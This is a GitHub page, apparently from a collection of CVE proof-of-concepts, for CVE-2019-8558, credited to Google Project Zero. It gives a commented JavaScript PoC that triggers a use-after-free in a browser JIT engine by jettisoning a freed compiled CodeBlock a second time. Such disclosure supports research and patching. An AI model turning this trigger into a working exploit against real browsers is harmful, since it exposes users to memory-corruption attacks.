Skip to content

Latest commit

 

History

History
56 lines (44 loc) · 1.64 KB

CVE-2019-8558.md

File metadata and controls

56 lines (44 loc) · 1.64 KB

CVE-2019-8558

  • Report: Feb 2019
  • Fix: Mar 2019
  • Credit: Samuel Gross, Google Project Zero

PoC

function v9() {
    // Some watchpoint (on the LexicalEnvironment) is triggered here
    // during the 2nd invocation which jettisons the CodeBlock for v9.

    // Trigger GC here (in the 2nd invocation) and free the jettisoned CodeBlock.
    const v18 = [13.37,13.37,13.37,13.37];
    for (const v43 in v18) {
        const v47 = new Float64Array(65493);
    }

    // Trigger some other watchpoint here, jettisoning the same CodeBlock
    // again and thus crashing when touching the already freed memory.
    const v66 = RegExp();

    // Seems to be required to get the desired compilation
    // behaviour in DFG (OSR enter in a loop)...
    for (let v69 = 0; v69 < 10000; v69++) {
        function v70() {
            const v73 = v66.test("asdf");
        }
        v70();
    }

    // Inserts elements into the Array prototype so the
    // first loop runs longer in the second invocation.
    for (let v114 = 13.37; v114 < 10000; v114++) {
        const v127 = [].__proto__;
        v127[v114] = 1337;
    }
}
const v182 = /i/g;
const v183 = "ii";
v183.replace(v182,v9);

// (Jettisoning is the process of discarding a unit of JIT compiled code
//  because it is no longer needed or is now unsafe to execute).

Reference